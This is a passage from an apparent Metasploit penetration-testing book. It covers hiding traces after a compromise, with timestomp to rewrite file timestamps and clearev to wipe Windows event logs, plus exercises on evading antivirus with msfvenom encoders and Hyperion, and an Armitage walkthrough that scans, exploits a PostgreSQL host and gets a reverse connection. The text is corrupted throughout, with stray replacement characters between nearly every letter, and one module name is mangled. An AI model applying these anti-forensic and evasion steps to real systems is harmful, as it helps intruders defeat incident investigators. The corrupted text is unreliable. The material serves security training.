�o�p�e�r�a�t�i�n�g� �s�y�s�t�e�m�,� �h�a�s� �m�e�t�a�d�a�t�a� �a�s�s�o�c�i�a�t�e�d� �w�i�t�h� �i�t�.� �M�e�t�a�d�a�t�a� �i�s� �n�o�t�h�i�n�g� �b�u�t� �p�r�o�p�e�r�t�i�e�s� �o�f� �a
�p�a�r�t�i�c�u�l�a�r� �f�i�l�e� �o�r� �f�o�l�d�e�r� �t�h�a�t� �c�o�n�t�a�i�n� �i�n�f�o�r�m�a�t�i�o�n� �s�u�c�h� �a�s� �t�i�m�e� �a�n�d� �d�a�t�e� �w�h�e�n� �i�t� �w�a�s� �c�r�e�a�t�e�d�,
�a�c�c�e�s�s�e�d�,� �a�n�d� �m�o�d�i�f�i�e�d�,� �i�t�s� �s�i�z�e� �o�n� �t�h�e� �d�i�s�k�,� �i�t�s� �o�w�n�e�r�s�h�i�p� �i�n�f�o�r�m�a�t�i�o�n�,� �a�n�d� �s�o�m�e� �o�t�h�e�r
�a�t�t�r�i�b�u�t�e�s� �s�u�c�h� �a�s� �w�h�e�t�h�e�r� �i�t�'�s� �m�a�r�k�e�d� �a�s� �r�e�a�d�-�o�n�l�y� �o�r� �h�i�d�d�e�n�.� �I�n� �c�a�s�e� �o�f� �a�n�y� �f�r�a�u�d� �o�r
�i�n�c�i�d�e�n�t�,� �t�h�i�s� �m�e�t�a�d�a�t�a� �c�a�n� �r�e�v�e�a�l� �a� �l�o�t� �o�f� �u�s�e�f�u�l� �i�n�f�o�r�m�a�t�i�o�n� �t�h�a�t� �c�a�n� �t�r�a�c�e� �b�a�c�k� �t�h�e� �a�t�t�a�c�k�.

�A�p�a�r�t� �f�r�o�m� �t�h�e� �m�e�t�a�d�a�t�a� �c�o�n�c�e�r�n�,� �t�h�e�r�e� �a�r�e� �a�l�s�o� �c�e�r�t�a�i�n� �s�e�c�u�r�i�t�y� �p�r�o�g�r�a�m�s� �k�n�o�w�n� �a�s� File
Integrity Monitors � �t�h�a�t� �k�e�e�p� �o�n� �m�o�n�i�t�o�r�i�n�g� �f�i�l�e�s� �f�o�r� �a�n�y� �c�h�a�n�g�e�s�.� �N�o�w�,� �w�h�e�n� �w�e
�c�o�m�p�r�o�m�i�s�e� �a� �s�y�s�t�e�m� �a�n�d� �g�e�t� �a� �m�e�t�e�r�p�r�e�t�e�r� �s�h�e�l�l� �o�n� �i�t�,� �w�e� �m�i�g�h�t� �b�e� �r�e�q�u�i�r�e�d� �t�o� �a�c�c�e�s�s
�e�x�i�s�t�i�n�g� �f�i�l�e�s� �o�n� �t�h�i�s� �s�y�s�t�e�m�,� �c�r�e�a�t�e� �n�e�w� �f�i�l�e�s�,� �o�r� �m�o�d�i�f�y� �e�x�i�s�t�i�n�g� �f�i�l�e�s�.� �W�h�e�n� �w�e� �d�o� �s�u�c�h
�c�h�a�n�g�e�s�,� �i�t� �w�i�l�l� �o�b�v�i�o�u�s�l�y� �r�e�f�l�e�c�t� �i�n� �t�h�e� �m�e�t�a�d�a�t�a� �i�n� �t�h�e� �f�o�r�m� �o�f� �c�h�a�n�g�e�d� �t�i�m�e�s�t�a�m�p�s�.� �T�h�i�s
�c�o�u�l�d� �c�e�r�t�a�i�n�l�y� �r�a�i�s�e� �a�n� �a�l�a�r�m� �o�r� �g�i�v�e� �a�w�a�y� �a� �l�e�a�d� �d�u�r�i�n�g� �i�n�c�i�d�e�n�t� �i�n�v�e�s�t�i�g�a�t�i�o�n�.� �T�o� �a�v�o�i�d
�l�e�a�v�i�n�g� �o�u�r� �t�r�a�c�e�s� �t�h�r�o�u�g�h� �m�e�t�a�d�a�t�a�,� �w�e� �w�o�u�l�d� �w�a�n�t� �t�o� �o�v�e�r�w�r�i�t�e� �t�h�e� �m�e�t�a�d�a�t�a� �i�n�f�o�r�m�a�t�i�o�n
�(�e�s�p�e�c�i�a�l�l�y� �t�i�m�e�s�t�a�m�p�s�)� �f�o�r� �e�a�c�h� �f�i�l�e� �a�n�d� �f�o�l�d�e�r� �t�h�a�t� �w�e� �a�c�c�e�s�s�e�d� �o�r� �c�r�e�a�t�e�d� �d�u�r�i�n�g� �o�u�r
�c�o�m�p�r�o�m�i�s�e�.

�M�e�t�e�r�p�r�e�t�e�r� �o�f�f�e�r�s� �a� �v�e�r�y� �u�s�e�f�u�l� �u�t�i�l�i�t�y� �c�a�l�l�e�d� timestomp � �w�i�t�h� �w�h�i�c�h� �y�o�u� �c�a�n� �o�v�e�r�w�r�i�t�e� �t�h�e
�t�i�m�e�s�t�a�m�p� �v�a�l�u�e�s� �o�f� �a�n�y� �f�i�l�e� �o�r� �f�o�l�d�e�r� �w�i�t�h� �t�h�e� �o�n�e� �o�f� �y�o�u�r� �c�h�o�i�c�e�s�.

�T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �h�e�l�p� �m�e�n�u� �o�f� �t�h�e� timestomp � �u�t�i�l�i�t�y� �o�n�c�e� �w�e� �h�a�v�e� �g�o�t
�t�h�e� �m�e�t�e�r�p�r�e�t�e�r� �s�h�e�l�l� �o�n� �t�h�e� �c�o�m�p�r�o�m�i�s�e�d� �s�y�s�t�e�m�:
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�T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� �t�i�m�e�s�t�a�m�p�s� �f�o�r� �t�h�e� �f�i�l�e� Confidential.txt � �b�e�f�o�r�e
�u�s�i�n�g� timestomp �:

�N�o�w�,� �w�e� �w�i�l�l� �c�o�m�p�r�o�m�i�s�e� �o�u�r� �t�a�r�g�e�t� �s�y�s�t�e�m� �u�s�i�n�g� �t�h�e� �S�M�B� MS08_67_netapi � �v�u�l�n�e�r�a�b�i�l�i�t�y
�a�n�d� �t�h�e�n� �u�s�e� �t�h�e� timestomp � �u�t�i�l�i�t�y� �t�o� �m�o�d�i�f�y� �t�i�m�e�s�t�a�m�p�s� �o�f� �t�h�e� �f�i�l�e� Confidential.txt �,
�a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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�A�f�t�e�r� �u�s�i�n�g� �t�h�e� timestomp � �u�t�i�l�i�t�y� �t�o� �m�o�d�i�f�y� �t�h�e� �f�i�l�e� �t�i�m�e�s�t�a�m�p�s�,� �w�e� �c�a�n� �s�e�e� �t�h�e� �c�h�a�n�g�e�d
�t�i�m�e�s�t�a�m�p� �v�a�l�u�e�s� �f�o�r� �t�h�e� �f�i�l�e� Confidential.txt �,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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�c�l�e�a�r�e�v
�W�h�e�n�e�v�e�r� �w�e� �i�n�t�e�r�a�c�t� �w�i�t�h� �a� �W�i�n�d�o�w�s� �s�y�s�t�e�m�,� �a�l�l� �t�h�e� �a�c�t�i�o�n�s� �g�e�t� �r�e�c�o�r�d�e�d� �i�n� �t�h�e� �f�o�r�m� �o�f
�e�v�e�n�t� �l�o�g�s�.� �T�h�e� �e�v�e�n�t� �l�o�g�s� �a�r�e� �c�l�a�s�s�i�f�i�e�d� �i�n�t�o� �t�h�r�e�e� �c�a�t�e�g�o�r�i�e�s�,� �n�a�m�e�l�y� �a�p�p�l�i�c�a�t�i�o�n� �l�o�g�s�,
�s�e�c�u�r�i�t�y� �l�o�g�s�,� �a�n�d� �s�y�s�t�e�m� �l�o�g�s�.� �I�n� �c�a�s�e� �o�f� �a� �s�y�s�t�e�m� �f�a�i�l�u�r�e� �o�r� �s�e�c�u�r�i�t�y� �c�o�m�p�r�o�m�i�s�e�,� �e�v�e�n�t
�l�o�g�s� �a�r�e� �m�o�s�t� �l�i�k�e�l�y� �t�o� �b�e� �s�e�e�n� �f�i�r�s�t� �b�y� �t�h�e� �i�n�v�e�s�t�i�g�a�t�o�r�/�a�d�m�i�n�i�s�t�r�a�t�o�r�.

�L�e�t�'�s� �c�o�n�s�i�d�e�r� �a� �s�c�e�n�a�r�i�o� �w�h�e�r�e�i�n� �w�e� �c�o�m�p�r�o�m�i�s�e�d� �a� �W�i�n�d�o�w�s� �h�o�s�t� �u�s�i�n�g� �s�o�m�e
�v�u�l�n�e�r�a�b�i�l�i�t�y�.� �T�h�e�n�,� �w�e� �u�s�e�d� �m�e�t�e�r�p�r�e�t�e�r� �t�o� �u�p�l�o�a�d� �n�e�w� �f�i�l�e�s� �t�o� �t�h�e� �c�o�m�p�r�o�m�i�s�e�d� �s�y�s�t�e�m�.
�W�e� �a�l�s�o� �e�s�c�a�l�a�t�e�d� �p�r�i�v�i�l�e�g�e�s� �a�n�d� �t�r�i�e�d� �t�o� �a�d�d� �a� �n�e�w� �u�s�e�r�.� �N�o�w�,� �t�h�e�s�e� �a�c�t�i�o�n�s� �w�o�u�l�d� �g�e�t
�c�a�p�t�u�r�e�d� �i�n� �t�h�e� �e�v�e�n�t� �l�o�g�s�.� �A�f�t�e�r� �a�l�l� �t�h�e� �e�f�f�o�r�t�s� �w�e� �p�u�t� �i�n�t�o� �t�h�e� �c�o�m�p�r�o�m�i�s�e�,� �w�e� �w�o�u�l�d
�c�e�r�t�a�i�n�l�y� �n�o�t� �w�a�n�t� �o�u�r� �a�c�t�i�o�n�s� �t�o� �g�e�t� �d�e�t�e�c�t�e�d�.� �T�h�i�s� �i�s� �w�h�e�n� �w�e� �c�a�n� �u�s�e� �a� �m�e�t�e�r�p�r�e�t�e�r� �s�c�r�i�p�t
�k�n�o�w�n� �a�s� clearev � �t�o� �w�i�p�e� �o�u�t� �a�l�l� �t�h�e� �l�o�g�s� �a�n�d� �c�l�e�a�r� �o�u�r� �a�c�t�i�v�i�t�y� �t�r�a�i�l�s�.

�T�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t� �s�h�o�w�s� �t�h�e� Windows Event Viewer � �a�p�p�l�i�c�a�t�i�o�n� �w�h�i�c�h� �s�t�o�r�e�s� �a�n�d
�d�i�s�p�l�a�y�s� �a�l�l� �e�v�e�n�t� �l�o�g�s�:



�A�n�t�i�v�i�r�u�s� �E�v�a�s�i�o�n� �a�n�d� �A�n�t�i�-�F�o�r�e�n�s�i�c�s
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�N�o�w�,� �w�e� �c�o�m�p�r�o�m�i�s�e� �o�u�r� �t�a�r�g�e�t� �W�i�n�d�o�w�s� �s�y�s�t�e�m� �u�s�i�n�g� �t�h�e� �S�M�B� MS08_67_netapi
�v�u�l�n�e�r�a�b�i�l�i�t�y� �a�n�d� �g�e�t� �a� �m�e�t�e�r�p�r�e�t�e�r� �a�c�c�e�s�s�.� �W�e� �t�y�p�e� �i�n� �t�h�e� clearev � �c�o�m�m�a�n�d� �o�n� �t�h�e
�m�e�t�e�r�p�r�e�t�e�r� �s�h�e�l�l� �(�a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�)�,� �a�n�d� �i�t� �s�i�m�p�l�y� �w�i�p�e�s� �o�u�t� �a�l�l� �t�h�e
�e�v�e�n� �l�o�g�s� �o�n� �t�h�e� �c�o�m�p�r�o�m�i�s�e�d� �s�y�s�t�e�m�:

�B�a�c�k� �o�n� �o�u�r� �c�o�m�p�r�o�m�i�s�e�d� �W�i�n�d�o�w�s� �s�y�s�t�e�m�,� �w�e� �c�h�e�c�k� �t�h�e� Event Viewer � �a�n�d� �f�i�n�d� �t�h�a�t� �a�l�l
�l�o�g�s� �h�a�v�e� �b�e�e�n� �c�l�e�a�r�e�d� �o�u�t�,� �a�s� �s�e�e�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:



�A�n�t�i�v�i�r�u�s� �E�v�a�s�i�o�n� �a�n�d� �A�n�t�i�-�F�o�r�e�n�s�i�c�s
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�S�u�m�m�a�r�y
�I�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �y�o�u� �e�x�p�l�o�r�e�d� �t�h�e� �v�a�r�i�o�u�s� �t�e�c�h�n�i�q�u�e�s� �t�o� �m�a�k�e� �p�a�y�l�o�a�d�s� �u�n�d�e�t�e�c�t�a�b�l�e� �a�n�d
�w�e�r�e� �b�r�i�e�f�e�d� �a�b�o�u�t� �t�h�e� �v�a�r�i�o�u�s� �c�a�p�a�b�i�l�i�t�i�e�s� �o�f� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �r�e�l�a�t�e�d� �t�o� �a�n�t�i�-
�f�o�r�e�n�s�i�c�s�.� �M�o�v�i�n�g� �a�h�e�a�d� �t�o� �t�h�e� �n�e�x�t� �c�h�a�p�t�e�r�,� �w�e�'�l�l� �d�e�e�p� �d�i�v�e� �i�n�t�o� �a� �c�y�b�e�r� �a�t�t�a�c�k
�m�a�n�a�g�e�m�e�n�t� �t�o�o�l� �c�a�l�l�e�d� �A�r�m�i�t�a�g�e�,� �w�h�i�c�h� �u�s�e�s� �M�e�t�a�s�p�l�o�i�t� �a�t� �t�h�e� �b�a�c�k�e�n�d� �a�n�d� �e�a�s�e�s� �m�o�r�e
�c�o�m�p�l�e�x� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �t�a�s�k�s�.

�E�x�e�r�c�i�s�e�s
�Y�o�u� �c�a�n� �t�r�y� �t�h�e� �f�o�l�l�o�w�i�n�g� �e�x�e�r�c�i�s�e�s�:

�U�s�e� �t�h�e� msfvenom � �u�t�i�l�i�t�y� �t�o� �g�e�n�e�r�a�t�e� �p�a�y�l�o�a�d�,� �a�n�d� �t�h�e�n� �t�r�y� �u�s�i�n�g� �v�a�r�i�o�u�s
�e�n�c�o�d�e�r�s� �t�o� �m�a�k�e� �i�t� �l�e�a�s�t� �d�e�t�e�c�t�a�b�l�e� �o�n� �t�h�e� �s�i�t�e� h  t  t  p  s  ://w  w w .  v  i  r  u  s  t  o  t  a  l  .  c  o  m

�E�x�p�l�o�r�e� �a� �t�o�o�l� �c�a�l�l�e�d� Hyperion � �f�o�r� �m�a�k�i�n�g� �t�h�e� �p�a�y�l�o�a�d� �u�n�d�e�t�e�c�t�a�b�l�e

�T�r�y� �u�s�i�n�g� �a�n�y� �o�f� �t�h�e� �s�a�n�d�b�o�x� �a�p�p�l�i�c�a�t�i�o�n�s� �t�o� �a�n�a�l�y�z�e� �t�h�e� �b�e�h�a�v�i�o�r� �o�f� �t�h�e� �p�a�y�l�o�a�d
�g�e�n�e�r�a�t�e�d� �u�s�i�n�g� �t�h�e� msfvenom � �u�t�i�l�i�t�y
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�C�y�b�e�r� �A�t�t�a�c�k� �M�a�n�a�g�e�m�e�n�t� �w�i�t�h

�A�r�m�i�t�a�g�e
�S�o� �f�a�r�,� �t�h�r�o�u�g�h�o�u�t� �t�h�i�s� �b�o�o�k�,� �y�o�u� �h�a�v�e� �l�e�a�r�n�e�d� �t�h�e� �v�a�r�i�o�u�s� �b�a�s�i�c� �a�n�d� �a�d�v�a�n�c�e�d� �t�e�c�h�n�i�q�u�e�s
�o�f� �u�s�i�n�g� �M�e�t�a�s�p�l�o�i�t� �i�n� �a�l�l� �s�t�a�g�e�s� �o�f� �t�h�e� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �l�i�f�e� �c�y�c�l�e�.� �W�e� �h�a�v�e� �p�e�r�f�o�r�m�e�d� �a�l�l
�t�h�i�s� �u�s�i�n�g� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �c�o�m�m�a�n�d�-�l�i�n�e� �i�n�t�e�r�f�a�c�e� msfconsole �.� �N�o�w� �t�h�a�t� �w�e� �a�r�e� �w�e�l�l
�f�a�m�i�l�i�a�r� �w�i�t�h� �u�s�i�n�g� msfconsole �,� �l�e�t�'�s� �m�o�v�e� �o�n� �t�o� �u�s�e� �a� �g�r�a�p�h�i�c�a�l� �i�n�t�e�r�f�a�c�e� �t�h�a�t� �w�i�l�l� �m�a�k�e
�o�u�r� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �t�a�s�k�s� �e�v�e�n� �e�a�s�i�e�r�.� �I�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �w�e�'�l�l� �c�o�v�e�r� �t�h�e� �f�o�l�l�o�w�i�n�g� �t�o�p�i�c�s�:

�A� �b�r�i�e�f� �i�n�t�r�o�d�u�c�t�i�o�n� �t�o� �A�r�m�i�t�a�g�e
�F�i�r�i�n�g� �u�p� �t�h�e� �A�r�m�i�t�a�g�e� �c�o�n�s�o�l�e
�S�c�a�n�n�i�n�g� �a�n�d� �e�n�u�m�e�r�a�t�i�o�n
�F�i�n�d�i�n�g� �s�u�i�t�a�b�l�e� �a�t�t�a�c�k�s
�E�x�p�l�o�i�t�i�n�g� �t�h�e� �t�a�r�g�e�t

�W�h�a�t� �i�s� �A�r�m�i�t�a�g�e�?
�I�n� �s�i�m�p�l�e� �t�e�r�m�s�,� �A�r�m�i�t�a�g�e� �i�s� �n�o�t�h�i�n�g� �b�u�t� �a� �G�U�I� �t�o�o�l� �f�o�r� �p�e�r�f�o�r�m�i�n�g� �a�n�d� �m�a�n�a�g�i�n�g� �a�l�l� �t�h�e
�t�a�s�k�s� �t�h�a�t� �o�t�h�e�r�w�i�s�e� �c�o�u�l�d� �h�a�v�e� �b�e�e�n� �p�e�r�f�o�r�m�e�d� �t�h�r�o�u�g�h� msfconsole �.

�A�r�m�i�t�a�g�e� �h�e�l�p�s� �v�i�s�u�a�l�i�z�e� �t�h�e� �t�a�r�g�e�t�s�,� �a�u�t�o�m�a�t�i�c�a�l�l�y� �r�e�c�o�m�m�e�n�d�s� �s�u�i�t�a�b�l�e� �e�x�p�l�o�i�t�s�,� �a�n�d
�e�x�p�o�s�e�s� �t�h�e� �a�d�v�a�n�c�e�d� �p�o�s�t�-�e�x�p�l�o�i�t�a�t�i�o�n� �f�e�a�t�u�r�e�s� �i�n� �t�h�e� �f�r�a�m�e�w�o�r�k�.

�R�e�m�e�m�b�e�r�,� �A�r�m�i�t�a�g�e� �u�s�e�s� �M�e�t�a�s�p�l�o�i�t� �a�t� �i�t�s� �b�a�c�k�e�n�d�;� �s�o� �i�n� �o�r�d�e�r� �t�o� �u�s�e� �A�r�m�i�t�a�g�e�,� �y�o�u� �n�e�e�d
�t�o� �h�a�v�e� �a� �r�u�n�n�i�n�g� �i�n�s�t�a�n�c�e� �o�f� �M�e�t�a�s�p�l�o�i�t� �o�n� �y�o�u�r� �s�y�s�t�e�m�.� �A�r�m�i�t�a�g�e� �n�o�t� �o�n�l�y� �i�n�t�e�g�r�a�t�e�s� �w�i�t�h
�M�e�t�a�s�p�l�o�i�t� �b�u�t� �a�l�s�o� �w�i�t�h� �o�t�h�e�r� �t�o�o�l�s� �s�u�c�h� �a�s� �N�M�A�P� �f�o�r� �a�d�v�a�n�c�e�d� �p�o�r�t� �s�c�a�n�n�i�n�g� �a�n�d
�e�n�u�m�e�r�a�t�i�o�n�.
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�A�r�m�i�t�a�g�e� �c�o�m�e�s� �p�r�e�i�n�s�t�a�l�l�e�d� �o�n� �a� �d�e�f�a�u�l�t� �K�a�l�i� �L�i�n�u�x� �i�n�s�t�a�l�l�a�t�i�o�n�.

�S�t�a�r�t�i�n�g� �t�h�e� �A�r�m�i�t�a�g�e� �c�o�n�s�o�l�e
�B�e�f�o�r�e� �w�e� �a�c�t�u�a�l�l�y� �s�t�a�r�t� �t�h�e� �A�r�m�i�t�a�g�e� �c�o�n�s�o�l�e�,� �a�s� �a� �p�r�e�r�e�q�u�i�s�i�t�e�,� �f�i�r�s�t� �w�e� �n�e�e�d� �t�o� �s�t�a�r�t� �t�h�e
postgresql � �s�e�r�v�i�c�e� �a�n�d� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �s�e�r�v�i�c�e�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�O�n�c�e� �t�h�e� �p�o�s�t�g�r�e�s�q�l� �a�n�d� �M�e�t�a�s�p�l�o�i�t� �s�e�r�v�i�c�e�s� �a�r�e� �u�p� �a�n�d� �r�u�n�n�i�n�g�,� �w�e� �c�a�n� �l�a�u�n�c�h� �t�h�e
�A�r�m�i�t�a�g�e� �c�o�n�s�o�l�e� �b�y� �t�y�p�i�n�g� armitage � �o�n� �t�h�e� �c�o�m�m�a�n�d� �s�h�e�l�l�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g
�s�c�r�e�e�n�s�h�o�t�:
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�U�p�o�n� �t�h�e� �i�n�i�t�i�a�l� �s�t�a�r�t�u�p�,� �t�h�e� armitage � �c�o�n�s�o�l�e� �a�p�p�e�a�r�s� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g
�s�c�r�e�e�n�s�h�o�t�:

�N�o�w� �t�h�a�t� �t�h�e� �A�r�m�i�t�a�g�e� �c�o�n�s�o�l�e� �i�s� �u�p� �a�n�d� �r�u�n�n�i�n�g�,� �l�e�t�'�s� �a�d�d� �h�o�s�t�s� �w�e� �w�i�s�h� �t�o� �a�t�t�a�c�k�.� �T�o� �a�d�d
�n�e�w� �h�o�s�t�s�,� �c�l�i�c�k� �o�n� �t�h�e� �H�o�s�t�s� �m�e�n�u�,� �a�n�d� �t�h�e�n� �s�e�l�e�c�t� �t�h�e� �A�d�d� �H�o�s�t�s� �o�p�t�i�o�n�.� �Y�o�u� �c�a�n� �e�i�t�h�e�r
�a�d�d� �a� �s�i�n�g�l�e� �h�o�s�t� �o�r� �m�u�l�t�i�p�l�e� �h�o�s�t�s� �p�e�r� �l�i�n�e�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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�S�c�a�n�n�i�n�g� �a�n�d� �e�n�u�m�e�r�a�t�i�o�n
�N�o�w� �t�h�a�t� �w�e� �h�a�v�e� �a�d�d�e�d� �a� �t�a�r�g�e�t� �h�o�s�t� �t�o� �t�h�e� �A�r�m�i�t�a�g�e� �c�o�n�s�o�l�e�,� �w�e�'�l�l� �p�e�r�f�o�r�m� �a� �q�u�i�c�k� �p�o�r�t
�s�c�a�n� �t�o� �s�e�e� �w�h�i�c�h� �p�o�r�t�s� �a�r�e� �o�p�e�n� �h�e�r�e�.� �T�o� �p�e�r�f�o�r�m� �a� �p�o�r�t� �s�c�a�n�,� �r�i�g�h�t�-�c�l�i�c�k� �o�n� �t�h�e� �h�o�s�t� �a�n�d
�s�e�l�e�c�t� �t�h�e� �s�c�a�n� �o�p�t�i�o�n�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�.� �T�h�i�s� �w�i�l�l� �l�i�s�t� �d�o�w�n� �a�l�l� �t�h�e� �o�p�e�n
�p�o�r�t�s� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �i�n� �t�h�e� �b�o�t�t�o�m� �p�a�n�e� �o�f� �t�h�e� �A�r�m�i�t�a�g�e� �c�o�n�s�o�l�e�:
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�A�s� �w�e� �h�a�v�e� �s�e�e�n� �e�a�r�l�i�e�r�,� �A�r�m�i�t�a�g�e� �i�s� �a�l�s�o� �w�e�l�l�-�i�n�t�e�g�r�a�t�e�d� �w�i�t�h� �N�M�A�P�.� �N�o�w�,� �w�e�'�l�l� �p�e�r�f�o�r�m
�a�n� �N�M�A�P� �s�c�a�n� �o�n� �o�u�r� �t�a�r�g�e�t� �t�o� �e�n�u�m�e�r�a�t�e� �s�e�r�v�i�c�e�s� �a�n�d� �d�e�t�e�c�t� �t�h�e� �v�e�r�s�i�o�n� �o�f� �t�h�e� �r�e�m�o�t�e
�o�p�e�r�a�t�i�n�g� �s�y�s�t�e�m�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�.� �T�o� �i�n�i�t�i�a�t�e� �t�h�e� �N�M�A�P� �s�c�a�n�,� �c�l�i�c�k� �o�n
�t�h�e� �H�o�s�t�s� �o�p�t�i�o�n�,� �s�e�l�e�c�t� �t�h�e� �N�M�A�P� �s�c�a�n�,� �a�n�d� �t�h�e�n� �s�e�l�e�c�t� �t�h�e� �Q�u�i�c�k� �S�c�a�n� �(�O�S� �D�e�t�e�c�t�)
�o�p�t�i�o�n�:

�A�s� �s�o�o�n� �a�s� �t�h�e� �N�M�A�P� �s�c�a�n� �i�s� �c�o�m�p�l�e�t�e�,� �y�o�u�'�l�l� �n�o�t�i�c�e� �t�h�e� �L�i�n�u�x� �i�c�o�n� �o�n� �o�u�r� �t�a�r�g�e�t� �h�o�s�t�.
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�F�i�n�d� �a�n�d� �l�a�u�n�c�h� �a�t�t�a�c�k�s
�I�n� �t�h�e� �p�r�e�v�i�o�u�s� �s�e�c�t�i�o�n�s�,� �w�e� �a�d�d�e�d� �a� �h�o�s�t� �t�o� �t�h�e� �A�r�m�i�t�a�g�e� �c�o�n�s�o�l�e� �a�n�d� �p�e�r�f�o�r�m�e�d� �a� �p�o�r�t
�s�c�a�n� �a�n�d� �e�n�u�m�e�r�a�t�i�o�n� �o�n� �i�t� �u�s�i�n�g� �N�M�A�P�.� �N�o�w�,� �w�e� �k�n�o�w� �t�h�a�t� �i�t�'�s� �r�u�n�n�i�n�g� �a� �D�e�b�i�a�n�-�b�a�s�e�d
�L�i�n�u�x� �s�y�s�t�e�m�.� �T�h�e� �n�e�x�t� �s�t�e�p� �i�s� �t�o� �f�i�n�d� �a�l�l� �p�o�s�s�i�b�l�e� �a�t�t�a�c�k�s� �m�a�t�c�h�i�n�g� �o�u�r� �t�a�r�g�e�t� �h�o�s�t�.� �I�n� �o�r�d�e�r
�t�o� �f�e�t�c�h� �a�l�l� �a�p�p�l�i�c�a�b�l�e� �a�t�t�a�c�k�s�,� �s�e�l�e�c�t� �t�h�e� �A�t�t�a�c�k�s� �m�e�n�u� �a�n�d� �c�l�i�c�k� �o�n� �F�i�n�d� �A�t�t�a�c�k�s�.� �N�o�w�,� �t�h�e
�A�r�m�i�t�a�g�e� �c�o�n�s�o�l�e� �w�i�l�l� �q�u�e�r�y� �t�h�e� �b�a�c�k�e�n�d� �d�a�t�a�b�a�s�e� �f�o�r� �a�l�l� �p�o�s�s�i�b�l�e� �m�a�t�c�h�i�n�g� �e�x�p�l�o�i�t�s� �a�g�a�i�n�s�t
�t�h�e� �o�p�e�n� �p�o�r�t�s� �t�h�a�t� �w�e� �f�o�u�n�d� �d�u�r�i�n�g� �e�n�u�m�e�r�a�t�i�o�n� �e�a�r�l�i�e�r�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g
�s�c�r�e�e�n�s�h�o�t�:
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�O�n�c�e� �t�h�e� �A�r�m�i�t�a�g�e� �c�o�n�s�o�l�e� �f�i�n�i�s�h�e�s� �q�u�e�r�y�i�n�g� �f�o�r� �p�o�s�s�i�b�l�e� �e�x�p�l�o�i�t�s�,� �y�o�u� �c�a�n� �s�e�e� �t�h�e� �l�i�s�t� �o�f
�a�p�p�l�i�c�a�b�l�e� �e�x�p�l�o�i�t�s� �b�y� �r�i�g�h�t�-�c�l�i�c�k�i�n�g� �o�n� �t�h�e� �h�o�s�t� �a�n�d� �s�e�l�e�c�t�i�n�g� �t�h�e� �A�t�t�a�c�k� �m�e�n�u�.� �I�n� �t�h�i�s� �c�a�s�e�,
�w�e�'�l�l� �t�r�y� �t�o� �e�x�p�l�o�i�t� �t�h�e� postgresql � �v�u�l�n�e�r�a�b�i�l�i�t�y� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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�U�p�o�n� �s�e�l�e�c�t�i�n�g� �t�h�e� �a�t�t�a�c�k� �t�y�p�e� �a�s� �P�o�s�t�g�r�e�S�Q�L� �f�o�r� �L�i�n�u�x� �P�a�y�l�o�a�d� �E�x�e�c�u�t�i�o�n�,� �w�e� �a�r�e
�p�r�e�s�e�n�t�e�d� �w�i�t�h� �s�e�v�e�r�a�l� �e�x�p�l�o�i�t� �o�p�t�i�o�n�s� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�.� �W�e� �c�a�n� �l�e�a�v�e� �i�t
�a�s� default � �a�n�d� �t�h�e�n� �c�l�i�c�k� �o�n� �t�h�e� �L�a�u�n�c�h� �b�u�t�t�o�n�:
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�A�s� �s�o�o�n� �a�s� �w�e� �l�a�u�n�c�h�e�d� �t�h�e� �a�t�t�a�c�k�,� �t�h�e� �e�x�p�l�o�i�t� �w�a�s� �e�x�e�c�u�t�e�d�.� �N�o�t�i�c�e� �t�h�e� �c�h�a�n�g�e� �i�n� �t�h�e� �h�o�s�t
�i�c�o�n�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�.� �T�h�e� �h�o�s�t� �h�a�s� �b�e�e�n� �s�u�c�c�e�s�s�f�u�l�l�y� �c�o�m�p�r�o�m�i�s�e�d�:
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�N�o�w� �t�h�a�t� �o�u�r� �h�o�s�t� �h�a�s� �b�e�e�n� �c�o�m�p�r�o�m�i�s�e�d�,� �w�e� �h�a�v�e� �g�o�t� �a� �r�e�v�e�r�s�e� �c�o�n�n�e�c�t�i�o�n� �o�n� �o�u�r� �s�y�s�t�e�m�.
